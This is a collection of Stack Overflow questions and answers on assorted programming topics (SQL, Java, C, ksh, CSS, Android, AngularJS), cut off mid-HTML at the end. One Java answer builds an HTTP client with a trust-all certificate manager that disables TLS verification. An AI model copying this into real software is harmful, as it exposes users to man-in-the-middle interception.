28625148	0	Adding icons to tabs using Easy Responsive Tabs from WP <p>I cant find anything to answer me this. How can I add icons to the title of my ERT tabs? ERT generates a shortcode which I have added to home php file and it works beautifully but how can I edit the shortcode so that the title tab includes an icon? code looks like this in the PHP:</p> <pre><code>'&lt;?php echo do_shortcode('[restabs alignment="osc-tabs-center" pills="nav-pills" responsive="true" icon="true" text="Next" tabcolor="#ffffff" tabheadcolor="#2C3E51" seltabcolor="#2C3E51" seltabheadcolor="#ffffff" tabhovercolor="#f7933b"] [restab title="(NEED ICON HERE)OUR WORK" active="active"] &lt;table style="width: 100%; border: none; margin-top: 0px; font-size: 10px"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;Content&lt;/td&gt; &lt;td&gt;Content&lt;/td&gt; &lt;td&gt;Content&lt;/td&gt; &lt;td&gt;Content&lt;/td&gt; &lt;td&gt;Content&lt;/td&gt; &lt;/tr&gt; [/restab] [/restabs]'); ?&gt;' </code></pre>
14450658	0	 <p>Does this work?</p> <pre><code>def json = request.JSON try { def context = json.optJSONObject("context") userService.updateContext(context) }catch(e) { log.error json.toString() } </code></pre>
22184715	0	 <p>There are two (or more) problems. The first: you are using <code>typedef</code> when you are trying to declare an array of structs. Don't. Instead of</p> <pre><code>typedef struct Symbles symbles_arr[MAX_SYMBOLS_ENTRIES_EXTERNALS]; </code></pre> <p>use</p> <pre><code>struct Symbles symbles_arr[MAX_SYMBOLS_ENTRIES_EXTERNALS]; </code></pre> <p>Notice that you now have the structure (not a pointer to the structure) - so when you want to access an element you need <code>.</code> not <code>-&gt;</code> Thus:</p> <pre><code> symbles_arr[symbol_counter]-&gt;symbolName=*toCheck; </code></pre> <p>needs to become</p> <pre><code> strcpy(symbles_arr[symbol_counter].symbolName, *toCheck); </code></pre> <p>because you allocated space for the symbol name in the structure, and you can't just take that pointer and point it somewhere else.</p> <p>Finally - you don't need to <code>malloc</code> space for <code>toCheck</code> since <code>strtok</code> actually returns a pointer to the original string (it doesn't make a copy). The side effect of this is that your input string (the one passed to <code>strtok</code>) becomes mangled in the process - after you're done using it, it has a lot of <code>'\0'</code> added.</p> <p>There may be other problems, but this should get you on your way...</p>
19801904	0	I have a website and when I put one page in the root it works fine but within a folder I get an error? <p>I have uploaded the same file on to the website. The php code in it looks like this <code> <pre>$f = fopen("http://thefreetechhelp.com/testsrc/top.txt", "r"); while(!feof($f)) { echo fgets($f); } fclose($f); ?&gt; &lt;/code&gt; </code></pre> <p>And there is two of these in the document. Below are the links, notice how in the second one you get the error</p> <p><a href="http://thefreetechhelp.com/index.html" rel="nofollow">http://thefreetechhelp.com/index.html</a></p> <p><a href="http://thefreetechhelp.com/articles/index.html" rel="nofollow">http://thefreetechhelp.com/articles/index.html</a></p> <p>the server is Debian GNU/Linux if that helps</p>
28257088	0	 <p>One way to go about it is to create a view with your basic logic:</p> <pre><code>CREATE VIEW myview AS SELECT * FROM mytable WHERE column_b = 'X' AND column_c = 'Y' </code></pre> <p>Now, this logic can be reused:</p> <pre><code>SELECT * FROM myview WHERE column_a NOT IN (SELECT column_k FROM myview) </code></pre>
19320850	1	Error with my Python File Search Algorithm <p>I have a problem with my python code.When my search code encounters an error it terminates the search it is conducting even when it has not yet finish searching a specific location. This mostly happens when it encounters a write protected folder or file.I am using <code>os.walk()</code> for transversing the file system tree and <code>glob.glob()</code> module to perform the searches How do i deal with this issue?</p> <p>Here is part of my code:</p> <pre><code>def searchEntity(drive,search_term): f_files={} print 'Searching in %s ........' %drive try: for dirpath,dirname,filename in os.walk(drive): os.chdir(dirpath) l=glob.glob('*'+search_term+'*') for e in l: self.f_files[e]=dirpath print e except Exception,e: print e finally: print'&lt;&lt;Search Completed&gt;&gt;' </code></pre> <p>How can i skip this write protected locations and continue with the search or should i use a better searching method. Here is an example of the error i am receiving:<br /></p> <p>Searching in <code>C:/ ........</code><br /> <code>[Error 5] Access is denied: 'C:/Program Files\\Microsoft SQL Server\\110\\Shared\\ErrorDumps'</code></p>
30943140	0	 <p>By using <code>add</code>, you are effectively getting a calendar instance that is 2015 years, 6 months, 20 days, and 19 hours <em>later</em> than now. Instead use the <a href="http://docs.oracle.com/javase/8/docs/api/java/util/GregorianCalendar.html#GregorianCalendar-int-int-int-int-int-" rel="nofollow">constructor</a>:</p> <pre><code>Calendar cal = new GregorianCalendar(2015, 5, 20, 19, 0); </code></pre> <p>and do not call <code>add</code>.</p> <p>Alternatively, you can use <code>set</code> instead of add:</p> <pre><code>cal.set(Calendar.YEAR, 2015); cal.set(Calendar.MONTH, 5); // 0-based cal.set(Calendar.DAY_OF_MONTH, 20); cal.set(Calendar.HOUR, 19); cal.set(Calendar.MINUTE, 0); </code></pre>
21524234	0	 <p>I think that the only way is to grab widget with QPixmap::grabWidget(). And to use this image in delegate. Seems, that it is not possible to do because of <a href="http://stackoverflow.com/questions/19138100/how-to-draw-control-with-qstyle-and-with-specified-qss">QSS limitation</a></p>
33167029	0	 <p>Going along with Charles Ward's answer, the following worked for me: <code>com.leapmotion.leap.LeapJNI.Controller_setPolicy(Controller.getCPtr(controller), controller, 1 &lt;&lt; 15);</code></p>
2154512	0	 <p>Java uses <a href="http://en.wikipedia.org/wiki/IEEE_754" rel="nofollow noreferrer">IEEE 754</a> for its floating point numbers and therefore follows their rules.</p> <p>According to the <a href="http://en.wikipedia.org/wiki/NaN" rel="nofollow noreferrer">Wikipedia page on NaN</a> it is defined like this:</p> <blockquote> <p>A bit-wise example of a IEEE floating-point standard single precision NaN: <code>x111 1111 1axx xxxx xxxx xxxx xxxx xxxx</code> where <code>x</code> means <i>don't care</i>. </p> </blockquote> <p>So there are quite a few bit-patterns all of which are <code>NaN</code> values.</p>
17083428	0	MSSQL merge with distributed transaction alternative <p>I have a distributed transaction where I need to merge into the target remote table. Now MERGE INTO isn't allowed according to MSDN: “target_table cannot be a remote table”.</p> <p>So my workaround goes as follows: 0. begin distributed transaction 1. define a cursor 2. open it 3. if cursor has at least one record (CURSOR_STATUS()=1) fetch next 4. if exists (select top 1 * from target_remote_table where id = @myCurrentCursorId) -> when true update target_remote_table when false insert into target_remote_table 5. commit/rollback distributed transaction depending on trancount and xact_state</p> <p>It works but I know that cursors are evil and you shouldn't use them. So I want to ask if there is any other way I could solve this by not using cursors?</p> <pre><code>USE [My_DB] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE PROCEDURE [dbo].[my_proc_merge_into_remote_table] @ID_A INT, @ID_B INT AS BEGIN SET NOCOUNT ON; -- CURSOR VALUES DECLARE @field_A INT DECLARE @field_B INT DECLARE @field_C INT DECLARE @field_D BIT DECLARE @field_E INT DECLARE @field_F DATETIME DECLARE @field_G VARCHAR(20) DECLARE @field_H DATETIME DECLARE @field_I VARCHAR(20) BEGIN TRY BEGIN DISTRIBUTED TRANSACTION -- CURSOR !! DECLARE my_cursor CURSOR FOR SELECT b.field_A , b.field_B, c.field_C, a.field_D, a.field_E, GETDATE() AS field_F, a.field_G, GETDATE() AS field_H, a.field_I FROM dbo.source_tbl a LEFT JOIN dbo.base_element_tbl l ON a.obj_id = l.obj_id AND a.element_id = l.element_id INNER JOIN dbo.base_obj_tbl b ON a.obj_id = b.obj_id INNER JOIN dbo.element_tbl c ON a.element_id = c.element_id WHERE a.ID_B = @ID_B AND a.ID_A = @ID_A; OPEN my_cursor; -- check if cursor result set has at least one row IF CURSOR_STATUS('global', 'my_cursor') = 1 BEGIN FETCH NEXT FROM my_cursor INTO @field_A, @field_B, @field_C, @field_D, @field_E, @field_F, @field_G, @field_H, @field_I; WHILE @@FETCH_STATUS = 0 BEGIN -- HINT: MY_REMOTE_TARGET_TABLE is a Synonym which already points to the correct database and table IF EXISTS(SELECT TOP 1 * FROM MY_REMOTE_TARGET_TABLE WHERE field_A = @field_A AND field_B = @field_B AND field_C = @field_C AND field_E = @field_E) UPDATE MY_REMOTE_TARGET_TABLE SET field_D = @field_D, field_H = @field_H, field_I = @field_I; ELSE INSERT INTO MY_REMOTE_TARGET_TABLE (field_A, field_B, field_C, field_D, field_E, field_F, field_G, field_H, field_I) VALUES (@field_A, @field_B, @field_C, @field_D, @field_E, @field_F, @field_G, @field_H, @field_I); FETCH NEXT FROM my_cursor INTO @field_A, @field_B, @field_C, @field_D, @field_E, @field_F, @field_G, @field_H, @field_I; END; END; CLOSE my_cursor; DEALLOCATE my_cursor; IF (@@TRANCOUNT &gt; 0 AND XACT_STATE() = 1) BEGIN COMMIT TRANSACTION END END TRY BEGIN CATCH IF (@@TRANCOUNT &gt; 0 AND XACT_STATE() = -1) ROLLBACK TRANSACTION END CATCH; END </code></pre>
33234754	0	 <p>Like adeneo said: dataType: 'array' is invalid and probably jquery will trigger the .fail() instead of .done(). </p> <p><a href="https://api.jquery.com/deferred.fail/" rel="nofollow">https://api.jquery.com/deferred.fail/</a></p>
9089647	0	css to format line 1 and 2 of my h1 differently? & change position of line break <p>Hi I am using a featured post widget in wordpress and its is displaying my h1 heading over 2 lines. However I want to change the margin or line breaks so that instead of saying "Workplace Injury" on the first line and "Prevention" on the second line, It would say "Workplace" on the first line and "Injury Prevention" on the second</p> <p>Any ideas. I've tried using a psuedo first line command but no luck ie.</p> <pre><code>#home-header-right .featuredpage .post-7 h2:first-line, #home-header-right .featuredpage .post-20 h2:first-line, #home-header-right .featuredpage .post-7 a:first-line, #home-header-right .featuredpage .post-20 a:first-line { padding: 0 50px 0 0; } </code></pre>
20930988	0	 <p>It is because the callback is being run on a thread.</p> <p>Why?</p> <p>The Console application.</p> <p>According to the <code>Progress</code> class MSDN documentation:</p> <blockquote> <p>Any handler provided to the constructor or event handlers registered with the ProgressChanged event are invoked through a SynchronizationContext instance captured when the instance is constructed. If there is no current SynchronizationContext at the time of construction, the callbacks will be invoked on the ThreadPool.</p> </blockquote> <p>Essentially, your callbacks are out of whack because there is no <code>SynchronizationContext</code> in a Console application.. so they are being fired on ThreadPool threads.</p> <p>Try it in a Windows application.. here's a screenshot of the output for the exact same code:</p> <p><img src="https://i.stack.imgur.com/fjRrA.png" alt="Sync example"></p>
7044505	0	 <p>If both scripts have been included in the same HTML file, sure, it will work out of the box. Best way to know is to try it.</p>
2588472	0	32 bit operation vs 64 bit operation on a 64bit machine/OS <p>Which operation i.e a 32 bit operation or a 64 bit operation (like masking a 32 bit flag or a 64 bit flag), would be cheaper on a 64 bit machine?</p>
28912282	0	Trying to write "<<<" in ksh <p>I am having trouble with the code below:</p> <pre><code>IFS=: read c1 c2 c3 c4 rest &lt;&lt;&lt; "$line" </code></pre> <p>Don't get me wrong this code works good but it doesn't seem to be used for ksh. I basically need to write the same code without the "&lt;&lt;&lt;". There is not much info on the "&lt;&lt;&lt;" online. If anybody has any ideas it would be much appreciated.</p> <p><strong>EDIT:</strong></p> <p>Ok code is as follows for the entire portion of programming:</p> <pre><code>m|M) #Create Modify Message clear echo " Modify Record " echo -en '\n' echo -en '\n' while true do echo "What is the last name of the person you would like to modify:" read last_name if line=$(grep -i "^${last_name}:" "$2") then oldIFS=$IFS IFS=: set -- $line IFS=$oldIFS c1=$1 c2=$2 c3=$3 c4=$4 shift; shift; shift; shift rest="$*" echo -e "Last Name: $1\nFirst Name: $2\nState: $4" while true do echo "What would you like to change the state to?:" read state if echo $state | egrep -q '^[A-Z]{2}$' then echo "State: $state" echo "This is a valid input" break else echo "Not a valid input:" fi done echo -e "Last Name: $c1\nFirst Name: $c2\nState: $state" echo "State value changed" break else echo "ERROR: $last_name is not in database" echo "Would you like to search again (y/n):" read modify_choice case $modify_choice in [Nn]) break;; esac fi done ;; </code></pre> <p>Ok so everything works except for the </p> <pre><code>echo -e "Last Name: $c1\nFirst Name: $c2\nState: $state" </code></pre> <p>It will just show:</p> <p>Last Name:</p> <p>First Name:</p> <p>State:</p> <p>So I can see it is not adding it to my echo correctly.</p> <p><strong>FINAL EDIT</strong></p> <p><strong><em>CODE:</em></strong></p> <pre><code>#Case statement for modifying an entry m|M) #Create Modify Message clear echo " Modify Record " echo -en '\n' echo -en '\n' while true do echo "What is the last name of the person you would like to modify:" read last_name if line=$(grep -i "^${last_name}:" "$2") then echo "$line" | while IFS=: read c1 c2 c3 c4 rest; do echo -e "Last Name: $c1\nFirst Name: $c2\nState: $c4" last=$c1 first=$c2 done while true do echo "What would you like to change the state to?:" read state if echo $state | egrep -q '^[A-Z]{2}$' then echo "State: $state" echo "This is a valid input" break else echo "Not a valid input:" fi done echo -e "Last Name: $last\nFirst Name: $first\nState: $state" echo "State value changed" break else echo "ERROR: $last_name is not in database" echo "Would you like to search again (y/n):" read modify_choice case $modify_choice in [Nn]) break;; esac fi done ;; </code></pre>
2355399	0	Creating a "skeleton" of an existing database <p>I have a huge database in production environment which I need to take a copy off, but the problem is that the data is over 100Gb's and downloading a backup off it is out of the question. I need to get a "skeleton" image of the database. What I mean by "skeleton" is, I need to get the database outline so that I can recreate the database locally by running SQL scripts.</p> <p>Is there a quick and easy way to retrieve the SQL for recreating the database structure and tables?</p> <p>Or will I have to write something in order to do this programmatically?</p>
11653985	0	 <p>An IMHO improved way based upon ZZ Coder's solution is to use a ResponseInterceptor to simply track the last redirect location. That way you don't lose information e.g. after an hashtag. Without the response interceptor you lose the hashtag. Example: <a href="http://j.mp/OxbI23" rel="nofollow">http://j.mp/OxbI23</a></p> <pre><code>private static HttpClient createHttpClient() throws NoSuchAlgorithmException, KeyManagementException { SSLContext sslContext = SSLContext.getInstance("SSL"); TrustManager[] trustAllCerts = new TrustManager[] { new TrustAllTrustManager() }; sslContext.init(null, trustAllCerts, new java.security.SecureRandom()); SSLSocketFactory sslSocketFactory = new SSLSocketFactory(sslContext); SchemeRegistry schemeRegistry = new SchemeRegistry(); schemeRegistry.register(new Scheme("https", 443, sslSocketFactory)); schemeRegistry.register(new Scheme("http", 80, new PlainSocketFactory())); HttpParams params = new BasicHttpParams(); ClientConnectionManager cm = new org.apache.http.impl.conn.SingleClientConnManager(schemeRegistry); // some pages require a user agent AbstractHttpClient httpClient = new DefaultHttpClient(cm, params); HttpProtocolParams.setUserAgent(httpClient.getParams(), "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1"); httpClient.setRedirectStrategy(new RedirectStrategy()); httpClient.addResponseInterceptor(new HttpResponseInterceptor() { @Override public void process(HttpResponse response, HttpContext context) throws HttpException, IOException { if (response.containsHeader("Location")) { Header[] locations = response.getHeaders("Location"); if (locations.length &gt; 0) context.setAttribute(LAST_REDIRECT_URL, locations[0].getValue()); } } }); return httpClient; } private String getUrlAfterRedirects(HttpContext context) { String lastRedirectUrl = (String) context.getAttribute(LAST_REDIRECT_URL); if (lastRedirectUrl != null) return lastRedirectUrl; else { HttpUriRequest currentReq = (HttpUriRequest) context.getAttribute(ExecutionContext.HTTP_REQUEST); HttpHost currentHost = (HttpHost) context.getAttribute(ExecutionContext.HTTP_TARGET_HOST); String currentUrl = (currentReq.getURI().isAbsolute()) ? currentReq.getURI().toString() : (currentHost.toURI() + currentReq.getURI()); return currentUrl; } } public static final String LAST_REDIRECT_URL = "last_redirect_url"; </code></pre> <p>use it just like ZZ Coder's solution: </p> <pre><code>HttpResponse response = httpClient.execute(httpGet, context); String url = getUrlAfterRedirects(context); </code></pre>
21815567	0	Button is not moving when I change its coordinates <p>Given this code : </p> <pre><code>&lt;style type="text/css"&gt; #button{ width: 5em; height: 2em; background-color:#62B1F6; font-size:20px; position:static; left: 400px; top:485px; z-index: 1;} &lt;/style&gt; </code></pre> <p>When I change the parameters of <code>left,top</code> , the button doesn't move . </p> <p>What am I doing wrong ? </p>
9175243	0	 <p>Force, I must tell you that an <strong>Android Service do not require root access</strong> instead some actions(i.e. Access, Read, Write system resources) requires Root Permissions. Every Android Service provided in Android SDK can be run without ROOT ACCESS. </p> <p>You can make the actions to execute with root permissions with the help of shell commands.</p> <p>I have created an abstract class to help you with that</p> <pre><code>import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.util.ArrayList; import android.util.Log; public abstract class RootAccess { private static final String TAG = "RootAccess"; protected abstract ArrayList&lt;String&gt; runCommandsWithRootAccess(); //Check for Root Access public static boolean hasRootAccess() { boolean rootBoolean = false; Process suProcess; try { suProcess = Runtime.getRuntime().exec("su"); DataOutputStream os = new DataOutputStream(suProcess.getOutputStream()); DataInputStream is = new DataInputStream(suProcess.getInputStream()); if (os != null &amp;&amp; is != null) { // Getting current user's UID to check for Root Access os.writeBytes("id\n"); os.flush(); String outputSTR = is.readLine(); boolean exitSu = false; if (outputSTR == null) { rootBoolean = false; exitSu = false; Log.d(TAG, "Can't get Root Access or Root Access deneid by user"); } else if (outputSTR.contains("uid=0")) { //If is contains uid=0, It means Root Access is granted rootBoolean = true; exitSu = true; Log.d(TAG, "Root Access Granted"); } else { rootBoolean = false; exitSu = true; Log.d(TAG, "Root Access Rejected: " + is.readLine()); } if (exitSu) { os.writeBytes("exit\n"); os.flush(); } } } catch (Exception e) { rootBoolean = false; Log.d(TAG, "Root access rejected [" + e.getClass().getName() + "] : " + e.getMessage()); } return rootBoolean; } //Execute commands with ROOT Permission public final boolean execute() { boolean rootBoolean = false; try { ArrayList&lt;String&gt; commands = runCommandsWithRootAccess(); if ( commands != null &amp;&amp; commands.size() &gt; 0) { Process suProcess = Runtime.getRuntime().exec("su"); DataOutputStream os = new DataOutputStream(suProcess.getOutputStream()); // Execute commands with ROOT Permission for (String currentCommand : commands) { os.writeBytes(currentCommand + "\n"); os.flush(); } os.writeBytes("exit\n"); os.flush(); try { int suProcessRetval = suProcess.waitFor(); if ( suProcessRetval != 255) { // Root Access granted rootBoolean = true; } else { // Root Access denied rootBoolean = false; } } catch (Exception ex) { Log.e(TAG, "Error executing Root Action", ex); } } } catch (IOException ex) { Log.w(TAG, "Can't get Root Access", ex); } catch (SecurityException ex) { Log.w(TAG, "Can't get Root Access", ex); } catch (Exception ex) { Log.w(TAG, "Error executing operation", ex); } return rootBoolean; } } </code></pre> <p>Extend your class with RootAccess or create an instance of RootAccess class and Override runCommandsWithRootAccess() method.</p>
14663745	0	 <p>Sadly a bit redundant due to MySQL's lack of a <code>WITH</code> statement, but this should do what you want. In case of a tie, it will return the higher answer.</p> <pre><code>SELECT s1.question_id, MAX(s1.answer) answer, MAX(s1.c) occurrences FROM (SELECT question_id, answer, COUNT(*) c FROM survey_result GROUP BY question_id,answer) s1 LEFT JOIN (SELECT question_id, answer, COUNT(*) c FROM survey_result GROUP BY question_id,answer) s2 ON s1.question_id=s2.question_id AND s1.c &lt; s2.c WHERE s2.c IS NULL GROUP BY question_id </code></pre> <p><a href="http://sqlfiddle.com/#!2/ddb55/2" rel="nofollow">An SQLfiddle to play with</a>.</p>
40110658	0	 <p>One reason why your application might be getting slower is the way you treat the onBackPressed() event. Every time you hit the back press button anywhere in the app you are creating a new MainActivity, but you never finish the previous one and since that's your MainActivity you are pretty much recreating your whole application on every back press.</p>
6185321	0	 <p>Two possible answers:</p> <p>1) The traditional way to check for a file on an FTP server is the SIZE command - if you get a size, the file exists, otherwise you get an error and you know it doesn't exist.</p> <p>2) Found some code that demonstrates a possible way to do this:</p> <p><a href="http://stackoverflow.com/questions/5823475/get-file-size-on-ftp-download">Get file size on FTP download</a></p> <p>Hope this helps.</p>
10562314	0	google checkout call back function doesn't work <p>I have problem in google checkout. I have set my googleCallBack url "https://www.mysite.com/orders/googleCallBack" but it gives error </p> <pre><code>We encountered an error trying to access your server at https://www.mysite.com/orders/googleCallBack -- the error we got is java.io.IOException: Error 'SSL_CERTIFICATE_ERROR' connecting to url 'https://https://www.mysite.com/orders/googleCallBack'. More documentation for this error. </code></pre> <p>I check my goDaddy SSL certificate and validate it. But its working fine but googleCheckout give me an error. Actually order place successfully on Google Checkout but after callback on our site doesn't place order.</p> <p>Can anyone help me?</p>
3370656	0	C++ Boost multi-index type identification <p>In boost multi-index, can I verify whether a particular index type is ordered/not through meta programming? There are the ordered indexes, hash indexes, sequence indexes etc. Can I find them out through meta programming?</p> <p>Suppose there is a index like:</p> <pre><code> int main() { typedef multi_index_container&lt;double&gt; double_set; return 0; } </code></pre> <p>I want to know whether the double_set index is ordered or hashed or sequenced. Of course in this case, it is ordered.</p>
1425784	0	 <p>One thing I always do (if possible) I run the DB Tuning Advisor.</p> <p>Don't get me wrong - I don't follow all his rules and suggestions, but it is an easy way to see what's going on, how often what occures and so on. Some hours of (typical!!!) workload are good to get some basic "feeling" what's going on.</p> <p>And after it you can decide to implement some of the suggestions or not. And even if you did your best in design - such a check looks what's really going on (not always predictable) and maybe you forget some statistics or a different index could help...</p>
1815095	0	 <blockquote> <p>do all JVMs optimize the usage of Strings in a way such that when the same string is used several times, it will always be the same physical instance?</p> </blockquote> <p>I doubt that very much. In the same class file, when definined like:</p> <pre><code>String s1 = "Yes"; String s2 = "Yes"; </code></pre> <p>you'll probably have s1 == s1.</p> <p>But if you have like:</p> <pre><code>String x = loadTextFromFile(); // file contains es StringBuilder b = new StringBuilder(); s2 = b.append("Y").append(x).toString(); // s2 = "Yes" </code></pre> <p>I don't think the runtime is going to check and compare all the loaded strings to the return value of them builder. </p> <p>So, always compare objects with equals(). That's good advice anyway since every good equals starts with:</p> <pre><code>if (this == o) { return true; } </code></pre>
25747172	0	JSON Request displaying console issue <p>I am trying to get the console.log to work with the 'interests' information using the following JSON request but I get the following error message in the console.</p> <blockquote> <p>XMLHttpRequest cannot load <a href="https://app.citizenspace.com/api/2.3/json_consultation_details?dept=parliament&amp;id=ddcengage&amp;fields=all" rel="nofollow">https://app.citizenspace.com/api/2.3/json_consultation_details?dept=parliament&amp;id=ddcengage&amp;fields=all</a>. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'null' is therefore not allowed access. </p> </blockquote> <pre><code>&lt;script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; $.getJSON ('https://app.citizenspace.com/api/2.3/json_consultation_details?dept=parliament&amp;id=ddcengage&amp;fields=all'), function(data) { consol.log(data.interests) } &lt;/script&gt; </code></pre> <p>Can anyone help with this?</p>
10854304	0	 <pre><code>select * from log_metrics a inner join (select session_id from log_metrics group by session_id having count(*) &gt; 10) b on a.session_id = b.session_id </code></pre> <p>Here's a SQL fiddle: <a href="http://sqlfiddle.com/#!2/7bed6/3" rel="nofollow">http://sqlfiddle.com/#!2/7bed6/3</a></p>
33642859	0	 <p>-eq is similar to == operator which will compare the address for Objects not values. You must use Array or other collection utilities to compare two Objects.</p>
10081699	0	 <p>It great that you have started learning Ruby! But Ruby in it self is simply a programming language. I think you wan't to check out Rails!</p> <p><a href="http://guides.rubyonrails.org/getting_started.html" rel="nofollow">http://guides.rubyonrails.org/getting_started.html</a></p> <p>Rails is written in Ruby and a lot of what you will write will be Ruby so you will probably get started quickly.</p>
17656342	0	 <p>Would something like this work?</p> <pre><code>SELECT max(a.field_date_and_time_value2) as last_time , b.uid FROM field_data_field_date_and_time a INNER JOIN node b ON /* this piece might be wrong. what is the relationship between the first table and the second one? */ b.nid = '".$node-&gt;nid."' where a.field_date_and_time_value2 &gt; '".$today."' AND b.uid = $node-&gt;nid </code></pre>
20382511	0	 <p>This one works fine:</p> <pre><code>; 0_9.asm ; assemble with "nasm -f bin -o 0_9.com 0_9.asm" org 0x100 ; .com files always start 256 bytes into the segment mov cx, 9 ; counter mov dl, "0" ; 0 top: push dx push cx mov ah, 2 int 21h mov dl, "_" ; display underscore mov ah, 2 int 21h pop cx pop dx inc dl loop top mov dl, "9" ; display 9 mov ah, 2 int 21h mov ah, 4ch ; "terminate program" sub-function mov al,00h int 21h </code></pre>
35565770	0	Difference between service and container in docker compose <p>I was going through <code>volumes_from</code> option in docker compose. Apparently you can import a volumes from either a container or a service. From the docker compose documentation it is:</p> <blockquote> <p><strong>volumes_from</strong></p> <p>Mount all of the volumes from another service or container, optionally specifying read-only access(ro) or read-write(rw).</p> <pre><code>volumes_from: - service_name - service_name:ro - container:container_name - container:container_name:rw </code></pre> <p>Note: The container:... formats are only supported in the version 2 file format. In version 1, you can use container names without marking them as such:</p> <pre><code>- service_name - service_name:ro - container_name - container_name:rw </code></pre> </blockquote> <p>I am confused here what is the difference between containers and services here?</p>
1552913	0	 <p>You say it works if you use the full path to <code>tclsh84.exe</code>. So, a solution might be to find out that full path and use it in your call to <a href="http://php.net/proc_open" rel="nofollow noreferrer">proc_open</a>.</p> <p><br> If you know your <code>tclsh84.exe</code> is in the directory in which your PHP script is, you could use something based on <a href="http://php.net/dirname" rel="nofollow noreferrer"><code>dirname</code></a> and <a href="http://php.net/manual/en/language.constants.predefined.php" rel="nofollow noreferrer"><code>__FILE__</code></a> ; a bit like this, I suppose :</p> <pre><code>$dir = dirname(__FILE__); var_dump($dir); // directory in which the current PHP script is in $path = $dir . DIRECTORY_SEPARATOR . 'tclsh84.exe'; var_dump($path); </code></pre> <p>Considering the PHP script I am using is <code>/home/squale/developpement/tests/temp/temp.php</code>, I would get :</p> <pre><code>string '/home/squale/developpement/tests/temp' (length=37) string '/home/squale/developpement/tests/temp/tclsh84.exe' (length=49) </code></pre> <p>And, if needed, you can use '<code>..</code>' to go up in the directories tree, and, then use directories names to go down.</p> <p><br> Another solution might be to make sure that the program you are trying to execute is in your PATH environment variables -- but if it's a program that's used only by your application, it doesn't make much sense to modify your PATH, I guess...</p>
21768982	0	 <p>You can use get_permalink the way you use get_post: <a href="http://codex.wordpress.org/Function_Reference/get_permalink" rel="nofollow">http://codex.wordpress.org/Function_Reference/get_permalink</a></p> <pre><code>$post_id = 105; $queried_post = get_post($post_id); $title = $queried_post-&gt;post_title; $permalink = get_permalink($post_id); echo '&lt;a href="' . $permalink . '"&gt;' . get_the_post_thumbnail($post_id) . '&lt;/a&gt;'; </code></pre> <p>However, the permalink is likely in the $queried_post object. You can <code>print_r($queried_post)</code> to inspect it.</p>
6204109	0	Regex get content between two pipes AND return a space where two pipes are next to each other with no spaces <p>How can I get all content between pipes and return a space where it comes across two pipes next to each other? </p> <p>An example string and desired output is:</p> <pre><code>|test1| test2|test3 || test 4 | Result1: "test1" Result2: "test2" Result3: "test3" Result4: " " Result5: "test4" </code></pre> <p>The closest I've got so far is: </p> <ul> <li><code>/[^\|]+)/</code> which will get all data between pipes but does not detect <code>||</code>.</li> <li><code>/\|([^\|]*)/</code> which will get all data between pipes and detect <code>||</code> but have an extra whitespace result at the end.</li> </ul>
33445762	0	Increment %z hex numbers with VIM? <p>Is there a way to increment <code>%z</code> hex numbers with VIM? Typically I can do this by just doing <code>ctrl + a</code> for normal numbers. But unfortunately I am using a old school system that uses <code>%z</code> rather than <code>0x</code> to denote hexadecimal numbers. I've tried </p> <pre><code>Set nf=hex </code></pre> <p>But that sadly only works for <code>0x</code> hex numbers. Anyone come across this before? I haven't found much on the google machine.</p>
3310015	0	 <p>How about changing that <code>Action</code> delegate to <code>Action&lt;T&gt;</code>.</p> <pre><code>public static class Tools { public static void RunAsync&lt;T&gt;(Action&lt;T&gt; function, Action callback, T parameter) { BackgroundWorker worker = new BackgroundWorker(); worker.RunWorkerCompleted += delegate(object sender, RunWorkerCompletedEventArgs e) { callback(); }; worker.DoWork += delegate(object sender, DoWorkEventArgs e) { function(parameter); }; worker.RunWorkerAsync(); } } </code></pre>
40404458	0	 <p>Unless <code>startActivityForResult(audioIntent,1)</code> has options to disable the popup, no. It's an activity that someone else has written. The way you want it, you will need to write your own activity with (probably) google's speech recognition plugged into that. Good luck &amp; have fun!</p>
18403604	0	Boot AngularJS + Cloud Endpoints <p>Is there a way to initialize angular and endpoints without manual boot of angular?</p> <p>I thought I'd found an elegant solution <a href="https://cloud.google.com/resources/articles/angularjs-cloud-endpoints-recipe-for-building-modern-web-applications" rel="nofollow">here</a>.</p> <p>Unfortunately for me window.init isn't always declared before it's called by the callback despite the sequence order of scripts. It works fine on refresh but not always on first page load. The console outputs "Uncaught TypeError: Object [object global] has no method 'init' ".</p> <p>Finally I've tried to manually bootstrap angular from the endpoints callback (eg <a href="http://stackoverflow.com/questions/15905755/angularjs-and-google-cloud-endpoint-walk-through-needed">here</a>, but on trying this it caused lag where angular should replace the handlebar placeholders, so the html was full of handlebars for a few seconds. I appreciate this may be the only way to do this however the first link above from google suggests otherwise.</p> <p><strong>UPDATE:</strong></p> <pre><code>function customerInit(){ angular.element(document).ready(function() { window.init(); }); } </code></pre> <p>This seems to solve my problem, it enforces that angular controller is initialized before endpoints. This isn't mentioned on googles page here, but it seems necessary to enforce the order of initialization.</p> <p>hmtl:</p> <pre><code>&lt;html ng-app lang="en"&gt; &lt;head&gt; &lt;link rel="stylesheet" href="http://netdna.bootstrapcdn.com/bootstrap/3.0.0-rc1/css/bootstrap.min.css"&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.7/angular.min.js"&gt;&lt;/script&gt; &lt;script src="js/customer.js"&gt;&lt;/script&gt; &lt;script src="https://apis.google.com/js/client.js?onload=customerInit"&gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="container" ng-controller="customerCtrl"&gt; &lt;div class="page-header"&gt; &lt;h1&gt;Customers&lt;/h1&gt; &lt;/div&gt; &lt;div class="row"&gt; &lt;div class="col-lg-10"&gt; &lt;table id="customerTable" class="table table-striped table-bordered table-hover"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;First Name&lt;/th&gt; &lt;th&gt;Surname&lt;/th&gt; &lt;th&gt;Email Address&lt;/th&gt; &lt;th&gt;Home Phone&lt;/th&gt; &lt;th&gt;Mobile Phone&lt;/th&gt; &lt;th&gt;Work Phone&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr ng-repeat="customer in allCustomers"&gt; 